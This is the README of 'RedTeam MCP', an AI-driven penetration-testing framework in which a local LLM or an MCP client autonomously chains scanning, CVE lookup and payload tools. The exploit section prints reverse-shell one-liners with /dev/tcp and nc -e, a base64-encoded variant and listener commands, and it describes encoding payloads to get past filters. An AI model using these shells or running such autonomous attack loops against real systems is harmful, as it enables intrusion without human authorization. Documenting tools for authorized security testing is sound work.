RedTeam MCP
by Deloney-code
README.md
<div align="center">
# š“ RedTeam MCP ā AI-Powered Red Team Automation
### *Autonomous penetration testing powered by a local LLM*
[](https://python.org)
[](https://kali.org)
[](https://ollama.com)
[](https://modelcontextprotocol.io)
[](LICENSE)
[]()
<br/>
> ā ļø **This tool is for authorized penetration testing only.**
> Always obtain explicit written permission before testing any target.
> Unauthorized use is illegal under CFAA, CMA, and equivalent laws worldwide.
</div>
---
## š What Is This?
**RedTeam MCP** is a full-stack, AI-driven penetration testing framework that replaces manual tool chaining with an autonomous local LLM operator. Instead of running `nmap`, then reading output, then deciding to run `nikto`, then reading that, then looking up CVEs ā you describe your goal in plain English and the AI does it all.
The framework is built on two layers:
- **`ai_controller.py`** ā A standalone Ollama-powered controller. Your local `llama3.1:8b` model reads tool output, decides what to run next, logs findings, and generates reports ā all without an internet connection or paid API.
- **`orchestrator.py`** ā A full [Model Context Protocol (MCP)](https://modelcontextprotocol.io) server that exposes the same capabilities to Claude Desktop or any MCP-compatible AI client.
Both layers sit on top of four modular tool libraries covering every phase of a real-world pentest engagement: **recon ā vuln scanning ā exploit research ā reporting**.
---
## š§ Architecture
```
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā OPERATOR INPUT ā
ā (plain English goal or interactive command) ā
āāāāāāāāāāāāāāāāāāāāāāāāāāā¬āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
ā¼
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā OLLAMA LLM ENGINE ā
ā model: llama3.1:8b ā
ā ā
ā ⢠Reads system prompt with decision logic + few-shot examples ā
ā ⢠Outputs a single structured JSON action ā
ā ⢠Receives summarized tool output as context ā
ā ⢠Decides next action until goal is complete ā
āāāāāāāāāāāāāāāāāāāāāāāāāāā¬āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā JSON action e.g.
ā {"action": "nmap_scan",
ā "target": "192.168.1.10",
ā "ports": "1-1000"}
ā¼
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā TOOL DISPATCHER ā
ā ā
ā Routes action ā correct tool handler ā executes ā captures ā
ā ā
ā nmap_scan āāāāāāāāāāāŗ subprocess nmap ā
ā nikto_scan āāāāāāāāāāŗ subprocess nikto ā
ā searchsploit āāāāāāāāŗ subprocess searchsploit --json ā
ā http_headers āāāāāāāāŗ httpx GET + header analysis ā
ā analyze_service āāāāāŗ internal CVE knowledge base ā
ā reverse_shell āāāāāāāŗ payload generator ā
ā log_finding āāāāāāāāāŗ in-memory finding store ā
ā generate_report āāāāāŗ Markdown / JSON report writer ā
āāāāāāāāāāāāāāāāāāāāāāāāāāā¬āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
ā¼
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā RESULT SUMMARIZER ā
ā ā
ā Raw output is pre-digested before feeding back to the LLM. ā
ā "3000 bytes of nmap XML" becomes: ā
ā "Nmap found 3 ports: 21/tcp vsftpd 2.3.4, 80/tcp Apache..." ā
āāāāāāāāāāāāāāāāāāāāāāāāāāā¬āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā
ā¼
Loop continues
until action = "done"
ā
ā¼
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā FINDINGS LOG + PENTEST REPORT ā
ā All findings auto-logged ā professional Markdown report ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
```
---
## šļø Project Structure
```
redteam-mcp/
ā
āāā ai_controller.py # Main entry point ā Ollama AI controller
ā # Runs standalone, no MCP client needed
ā
āāā orchestrator.py # MCP server with high-level workflow tools
ā # Connect to Claude Desktop or any MCP client
ā
āāā server.py # Lightweight MCP server (individual tools only)
ā # Use this if you don't need workflow automation
ā
āāā tools/
ā āāā __init__.py
ā āāā recon.py # Recon & enumeration (nmap, dns, subdomains, whois)
ā āāā vuln_scan.py # Vulnerability scanning (nikto, headers, CVE analysis)
ā āāā exploit.py # Exploit research & payload generation
ā āāā reporting.py # Finding logging & report generation
ā
āāā utils/
ā āāā helpers.py # Shared utilities
ā
āāā reports/ # Generated pentest reports output here
ā # (gitignored ā never commit client data)
ā
āāā requirements.txt
āāā .gitignore
āāā README.md
```
---
## āļø Requirements
### Operating System
> Tested on **Kali Linux 2024.x**. Also works on Ubuntu 22.04+, Parrot OS, and macOS (system tools may need Homebrew).
### Python
```
Python 3.10 or higher
```
### Ollama + Model
```bash
# Install Ollama
curl -fsSL https://ollama.com/install.sh | sh
# Pull the default model (4.7GB)
ollama pull llama3.1:8b
# Verify it's working
ollama run llama3.1:8b "respond with: {\"action\": \"done\", \"message\": \"ok\"}"
```
### System Security Tools
These are called as subprocesses. Install what you need:
```bash
# Kali Linux (most are pre-installed)
sudo apt update
sudo apt install -y nmap nikto whois exploitdb
# Metasploit (optional ā for msf_search)
# Usually pre-installed on Kali. If not:
sudo apt install -y metasploit-framework
```
| Tool | Required | Used For |
|------|----------|----------|
| `nmap` | ā
Recommended | Port scanning, service detection, vuln scripts |
| `nikto` | ā
Recommended | Web server vulnerability scanning |
| `whois` | ā
Recommended | Domain/IP registration lookup |
| `searchsploit` / `exploitdb` | ā
Recommended | ExploitDB search |
| `dig` | ā
Usually pre-installed | DNS record enumeration |
| `msfconsole` | ā” Optional | Metasploit module search |
| `rlwrap` | ā” Optional | Better reverse shell listener experience |
---
## š Installation
### Step 1 ā Clone the Repository
```bash
git clone https://github.com/YOURNAME/redteam-mcp.git
cd redteam-mcp
```
### Step 2 ā Create a Virtual Environment
```bash
python3 -m venv redteam-env
source redteam-env/bin/activate
```
### Step 3 ā Install Python Dependencies
```bash
pip install -r requirements.txt
```
**`requirements.txt`:**
```
mcp>=1.2.0
httpx>=0.27.0
requests>=2.31.0
```
### Step 4 ā Start Ollama
```bash
# Start the Ollama service (if not already running)
ollama serve
# Verify the model is available
ollama list
```
### Step 5 ā Verify Everything Works
```bash
# Should print the banner and connect to Ollama
python ai_controller.py --help
```
---
## š® Usage
There are three ways to use this framework depending on your workflow.
---
### ā¶ļø Mode 1 ā AI Controller (Standalone, Recommended)
`ai_controller.py` is the primary way to use this tool. No MCP client needed. The Ollama LLM acts as the operator and automatically chains tools to complete your goal.
#### Interactive Mode
You give natural language instructions one step at a time. The AI decides which tool to run, executes it, and shows you the output.
```bash
python ai_controller.py
```
```
āāāāāāā āāāāāāāāāāāāāāā āāāāāāāāāāāāāāāāā āāāāāā āāāā āāāā
...
AI-Powered Red Team Controller ā Ollama Edition
[12:34:01] [+] Ollama connected ā model: llama3.1:8b
redteam> scan 192.168.1.10 for open ports
[12:34:03] [AI] Decided: nmap_scan
[12:34:03] [*] nmap -sV -p 1-1000 --open 192.168.1.10
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
80/tcp open http Apache httpd 2.4.49
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
[LLM context summary: Nmap found 2 ports: 21/tcp vsftpd 2.3.4, 80/tcp Apache 2.4.49]
redteam> analyze what you found
[12:34:15] [AI] Decided: analyze_service
[12:34:15] [FINDING ā CRITICAL] vsftpd 2.3.4 Backdoor RCE
redteam> findings
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
FINDINGS SUMMARY ā 2 total
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
[Critical ] FIND-001 ā vsftpd 2.3.4 Backdoor RCE
[Critical ] FIND-002 ā Apache 2.4.49 Path Traversal/RCE
redteam> report "Acme Corp" "J.Smith" "192.168.1.10"
redteam> exit
```
**Interactive mode built-in commands:**
| Command | Description |
|---------|-------------|
| `findings` | Display all findings logged this session |
| `history` | Show the last 20 tool calls made |
| `report <client> <tester> <scope>` | Generate and save the pentest report |
| `exit` / `quit` | End the session |
---
#### Autonomous Mode
You give a goal. The AI plans and executes the entire engagement chain by itself, step by step, until it decides it's done or hits `--max-steps`.
```bash
# Basic autonomous scan
python ai_controller.py --auto "run full recon on 192.168.1.10"
# Full web application test
python ai_controller.py --auto "perform a complete web application pentest on http://10.0.0.5"
# Extended autonomous engagement (more steps = deeper coverage)
python ai_controller.py --auto "identify all vulnerabilities on 10.0.0.10 and generate a report" --max-steps 25
# Use a different model
python ai_controller.py --model llama3.1:70b --auto "triage the host at 192.168.1.50"
```
**What a typical autonomous run looks like:**
```
Step 1/15 ā Action: nmap_scan (discovers open ports)
Step 2/15 ā Action: analyze_service (matches vsftpd 2.3.4 ā CVE-2011-2523)
Step 3/15 ā Action: searchsploit (finds Metasploit module)
Step 4/15 ā Action: log_finding (Critical ā vsftpd Backdoor RCE logged)
Step 5/15 ā Action: http_headers (checks web server security headers)
Step 6/15 ā Action: nikto_scan (web vulnerability scan)
Step 7/15 ā Action: log_finding (High ā missing CSP/HSTS headers logged)
Step 8/15 ā Action: done (AI summarizes and exits)
```
**CLI Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--model MODEL` | `llama3.1:8b` | Ollama model to use |
| `--auto "GOAL"` | ā | Enable autonomous mode with this goal |
| `--max-steps N` | `15` | Maximum autonomous steps before stopping |
---
### ā¶ļø Mode 2 ā MCP Server (Claude Desktop Integration)
`orchestrator.py` runs as a full MCP server. Connect it to Claude Desktop (or any MCP client) and control your entire engagement through a natural language conversation.
```bash
# Start the MCP orchestrator server
python orchestrator.py
# Test with MCP Inspector (browser UI)
mcp dev orchestrator.py
```
**Connect to Claude Desktop** ā edit your config file:
- **macOS:** `~/Library/Application Support/Claude/claude_desktop_config.json`
- **Windows:** `%APPDATA%\Claude\claude_desktop_config.json`
- **Linux:** `~/.config/Claude/claude_desktop_config.json`
```json
{
"mcpServers": {
"redteam": {
"command": "/path/to/redteam-env/bin/python",
"args": ["/path/to/redteam-mcp/orchestrator.py"]
}
}
}
```
Restart Claude Desktop. You'll see the š tools icon appear. Then just talk:
> *"Run a full recon on 192.168.1.10, check the web server for vulnerabilities, log any critical findings, and generate a pentest report for client Acme Corp"*
Claude will automatically call `full_recon_workflow`, then `web_app_assessment`, then `log_finding` multiple times, then `generate_engagement_report` ā all from that one sentence.
---
### ā¶ļø Mode 3 ā Python API (Scripting / Integration)
Import and use individual tools or workflow functions directly in your own Python scripts:
```python
from mcp.server.fastmcp import FastMCP
from tools.recon import register_recon_tools
from tools.vuln_scan import register_vuln_tools
from tools.exploit import register_exploit_tools
from tools.reporting import register_reporting_tools
# Build a custom MCP server with only the tools you need
mcp = FastMCP("my-custom-server")
register_recon_tools(mcp)
register_vuln_tools(mcp)
register_exploit_tools(mcp)
register_reporting_tools(mcp)
mcp.run(transport="stdio")
```
---
## š§° Complete Tool Reference
### š Recon & Enumeration ā `tools/recon.py`
> Passive and active information gathering. Always run this first.
| Tool | Parameters | Description |
|------|-----------|-------------|
| `nmap_scan` | `target`, `ports="1-1000"`, `scan_type="SV"`, `extra_args=""` | Port scan with service/version detection. Returns raw nmap output including open ports, services, and versions. |
| `dns_recon` | `target` | Enumerates A, MX, NS, TXT, AAAA, CNAME records for a domain using `dig`. |
| `whois_lookup` | `target` | WHOIS registration data for a domain or IP. Reveals registrar, owner, creation dates, nameservers. |
| `subdomain_enum` | `target`, `wordlist=None` | DNS bruteforce using a built-in 35-entry wordlist or a custom wordlist file. Returns resolved subdomains with IPs. |
| `banner_grab` | `host`, `port`, `timeout=5` | Connects to a port and reads the raw service banner. Useful for fingerprinting services nmap missed. |
**Example ā nmap scan:**
```json
{
"action": "nmap_scan",
"target": "192.168.1.10",
"ports": "1-1000",
"flags": "-sV"
}
```
---
### š”ļø Vulnerability Scanning ā `tools/vuln_scan.py`
> Identify weaknesses in discovered services and web applications.
| Tool | Parameters | Description |
|------|-----------|-------------|
| `nikto_scan` | `target`, `port=80`, `ssl=False`, `extra_args=""` | Runs Nikto web vulnerability scanner. Identifies outdated software, misconfigurations, dangerous files, and CVEs. |
| `check_http_headers` | `url` | Analyzes HTTP response headers for missing security controls: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy. Also reveals Server and X-Powered-By version info. |
| `analyze_service_version` | `service`, `version` | Matches a service name + version against an internal CVE knowledge base. Covers Apache, OpenSSH, vsftpd, Samba, Log4j, IIS, OpenSSL, Struts, Drupal, and more. |
| `run_nmap_vuln_scripts` | `target`, `ports="80,443,22,21,25"` | Runs `nmap --script vuln` against specified ports. Uses nmap's built-in vulnerability detection scripts. |
**Example ā HTTP header check:**
```json
{
"action": "http_headers",
"url": "http://192.168.1.10"
}
```
**CVE database covers (partial list):**
```
Apache 2.4.49 ā CVE-2021-41773 (Path Traversal / RCE)
vsftpd 2.3.4 ā CVE-2011-2523 (Backdoor RCE)
Samba 3.5.0 ā CVE-2017-7494 (SambaCry EternalRed)
Log4j 2.14.x ā CVE-2021-44228 (Log4Shell)
OpenSSL 1.0.1 ā CVE-2014-0160 (Heartbleed)
Struts 2.5.x ā CVE-2017-5638 (Equifax RCE)
Drupal 7.x ā CVE-2018-7600 (Drupalgeddon2)
IIS 6.0 ā CVE-2017-7269 (Buffer Overflow RCE)
```
---
### š„ Exploit Research & Payload Generation ā `tools/exploit.py`
> Research known exploits and generate attack payloads for authorized testing.
| Tool | Parameters | Description |
|------|-----------|-------------|
| `searchsploit` | `query`, `exact_match=False` | Searches ExploitDB via `searchsploit --json`. Returns exploit titles, paths, and types (remote, local, webapps). |
| `generate_reverse_shell` | `lhost`, `lport`, `shell_type="bash"` | Generates ready-to-use reverse shell one-liners. Also outputs base64-encoded version and listener command. |
| `encode_payload` | `payload`, `encoding="base64"` | Encodes payloads to help bypass input filters. Supports base64, URL encoding, hex, and unicode. |
| `msf_search` | `query` | Searches Metasploit Framework modules matching a query. Falls back to online URL if msfconsole not installed. |
**Supported reverse shell types:**
| Type | Command Generated |
|------|-------------------|
| `bash` | `bash -i >& /dev/tcp/LHOST/LPORT 0>&1` |
| `python3` | Python socket reverse shell |
| `php` | `php -r '$sock=fsockopen(...)'` |
| `perl` | Perl socket reverse shell |
| `ruby` | Ruby TCPSocket reverse shell |
| `nc` | `nc -e /bin/sh LHOST LPORT` |
| `nc_mkfifo` | Netcat with mkfifo (no `-e` required) |
| `powershell` | PowerShell TCP client reverse shell |
**Example ā generate bash reverse shell:**
```json
{
"action": "reverse_shell",
"lhost": "10.0.0.1",
"lport": 4444,
"type": "bash"
}
```
Output includes:
```json
{
"command": "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
"base64": "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=",
"listener": "nc -lvnp 4444",
"rlwrap_listener": "rlwrap nc -lvnp 4444"
}
```
---
### š Reporting & Documentation ā `tools/reporting.py`
> Log findings and generate professional client-ready reports.
| Tool | Parameters | Description |
|------|-----------|-------------|
| `set_engagement_scope` | `client_name`, `scope`, `start_date`, `tester_name`, `engagement_type` | Sets engagement metadata used in the final report header. |
| `log_finding` | `title`, `severity`, `target`, `description`, `evidence`, `recommendation`, `cvss_score`, `cve` | Logs a single finding. Severity: `Critical` / `High` / `Medium` / `Low` / `Informational`. |
| `list_findings` | ā | Returns all findings logged this session, grouped by severity with counts. |
| `generate_report` | `format="markdown"` | Compiles all logged findings into a professional pentest report. Output: Markdown or JSON. |
**Severity classification guide:**
| Severity | CVSS Range | Example |
|----------|-----------|---------|
| Critical | 9.0 ā 10.0 | Unauthenticated RCE, CVE-exploitable backdoor |
| High | 7.0 ā 8.9 | SQLi, authenticated RCE, privilege escalation |
| Medium | 4.0 ā 6.9 | XSS, CSRF, weak credentials, outdated software |
| Low | 0.1 ā 3.9 | Missing headers, version disclosure, info leaks |
| Informational | N/A | Open ports, tech stack enumeration, configuration notes |
---
### š Orchestration Workflows ā `orchestrator.py`
> High-level workflows that chain multiple tools automatically. Use these for full engagement phases.
| Workflow | Stages | Output |
|----------|--------|--------|
| `full_recon_workflow(target)` | WHOIS ā DNS recon ā subdomain enum ā nmap -sV ā banner grab on web ports | Asset inventory: IPs, subdomains, open ports, services + recommendations |
| `web_app_assessment(url)` | HTTP headers ā Nikto ā optional dir enum ā auto-log key findings | Risk score, technology fingerprint, all findings auto-logged |
| `network_assessment(target)` | nmap -sV -sC ā nmap vuln scripts ā CVE matching ā searchsploit research | Attack surface rating, CVE matches, exploit availability |
| `quick_triage(target)` | nmap top-20-ports ā CVE quick check ā HTTP probe | Risk level (CRITICAL/HIGH/MEDIUM/LOW), priority action list ā done in ~60s |
| `generate_engagement_report(...)` | Pulls all `log_finding()` entries ā builds structured report | Professional Markdown report saved to `reports/` |
---
## š¤ Choosing an Ollama Model
The AI controller works with any model available in Ollama. Here's how the main ones compare for this use case:
| Model | Size | Speed | JSON Accuracy | Best Used For |
|-------|------|-------|---------------|---------------|
| `llama3.1:8b` ā | 4.7GB | Fast | High | Default ā best all-round choice |
| `llama3.1:70b` | 40GB | Slow | Very High | Complex multi-step autonomous engagements |
| `mistral:7b` | 4.1GB | Very Fast | High | Quick triage, simple scans |
| `codellama:13b` | 7.4GB | Medium | Medium | Payload generation, code-heavy tasks |
| `deepseek-r1:8b` | 4.9GB | Medium | High | Chain-of-thought ā good for complex decisions |
| `qwen2.5:7b` | 4.4GB | Fast | High | Strong instruction following |
```bash
# Pull any model
ollama pull llama3.1:70b
ollama pull mistral:7b
# Use it
python ai_controller.py --model mistral:7b
```
> **Tip:** If the model outputs text before the JSON (a common issue with smaller models), the built-in `query_with_retry()` automatically sends a correction prompt and retries up to 3 times before falling back.
---
## š Full Engagement Walkthrough
Here's a complete example of how an authorized engagement flows using `ai_controller.py` in interactive mode:
```bash
python ai_controller.py
```
```
# Step 1 ā Quick triage to understand the attack surface
redteam> triage the host at 192.168.1.10
ā AI runs: quick_triage
ā Output: 3 open ports found ā 21 (vsftpd), 80 (Apache), 445 (SMB) | Risk: CRITICAL
# Step 2 ā Deeper recon
redteam> run full reconnaissance on 192.168.1.10
ā AI runs: nmap_scan, dns_recon, banner_grab
ā Output: service versions captured, subdomains resolved
# Step 3 ā Web application assessment
redteam> check the web server for vulnerabilities
ā AI runs: http_headers ā nikto_scan
ā Output: Missing HSTS/CSP headers, nikto finds /phpmyadmin exposed
# Step 4 ā CVE research on discovered services
redteam> analyze the vsftpd and apache services you found
ā AI runs: analyze_service (vsftpd 2.3.4) ā CVE-2011-2523 CRITICAL
ā AI runs: analyze_service (Apache 2.4.49) ā CVE-2021-41773 CRITICAL
ā AI runs: searchsploit vsftpd 2.3.4 ā Metasploit module found
ā AI runs: searchsploit apache 2.4.49 ā PoC exploit found
# Step 5 ā Log findings
redteam> log all the critical findings you've identified
ā AI runs: log_finding Ć 4
# Step 6 ā Generate report
redteam> report "Acme Corp" "Jane Smith" "192.168.1.10 (authorized)"
# Done
redteam> exit
```
**Generated report saved to:** `reports/Acme_Corp_pentest_report_20250301_143022.md`
---
## š ļø Prompting the AI Effectively
The controller uses structured prompts with decision logic and few-shot examples to guide `llama3.1:8b`. For best results when using interactive mode:
**ā
Good prompts:**
```
scan 192.168.1.10 for open ports # specific action
analyze the vsftpd 2.3.4 service you found # references previous context
search exploitdb for apache 2.4.49 # specific tool + target
log a critical finding for the vsftpd CVE # clear intent
```
**ā Weaker prompts:**
```
do something # too vague
hack the target # no specific action
what should I do? # AI may ask_user instead of acting
```
**The AI automatically chains actions.** If you say *"analyze everything"*, it will run `analyze_service` on every service found in the previous scan. You don't need to specify each tool call ā just express intent.
---
## ā ļø Legal Disclaimer
This framework is designed **exclusively for:**
- Authorized penetration tests with signed scope of work
- CTF (Capture the Flag) competitions
- Personal lab environments (VMs, HackTheBox, TryHackMe, etc.)
- Security research on systems you own
**It is illegal to use this tool against systems you do not own or do not have explicit written authorization to test.** This includes unauthorized scanning, enumeration, or exploitation. Violations may result in criminal prosecution under:
- šŗšø Computer Fraud and Abuse Act (CFAA)
- š¬š§ Computer Misuse Act (CMA)
- šŖšŗ EU Directive on Attacks Against Information Systems
- Equivalent laws in your jurisdiction
The authors and contributors accept **zero liability** for misuse. Use responsibly.
---
## šŗļø Roadmap
- [ ] Web fuzzing integration (ffuf / gobuster wrapper)
- [ ] Active Directory recon module (BloodHound, ldapdomaindump, CrackMapExec)
- [ ] Credential spraying module (SSH, SMB, HTTP form login)
- [ ] Screenshot capture for web targets (Selenium / Playwright)
- [ ] Multi-target batch mode (`--target-list targets.txt`)
- [ ] OWASP Top 10 automated test suite
- [ ] Live CVE feed integration (NVD API)
- [ ] Docker container for portable deployment
- [ ] Web dashboard for findings review
---
## š¤ Contributing
Pull requests are welcome. For major changes, please open an issue first to discuss what you'd like to change.
```bash
# Fork the repo, create a feature branch
git checkout -b feat/your-feature-name
# Make your changes, then commit with a clear message
git commit -m "feat: add ffuf web fuzzing wrapper"
# Push and open a Pull Request
git push origin feat/your-feature-name
```
**Commit message format:**
```
feat: new feature or tool
fix: bug fix
refactor: code restructure (no behavior change)
docs: documentation update
chore: dependency update, cleanup
```
---
## š License
MIT License ā see [LICENSE](LICENSE) for full details.
---
<div align="center">
**Built for the security community** š
*Test ethically. Test legally. Test with permission.*
</div>
This server cannot be deployed
Maintenance
ActivityInactive
ResponsivenessNo issues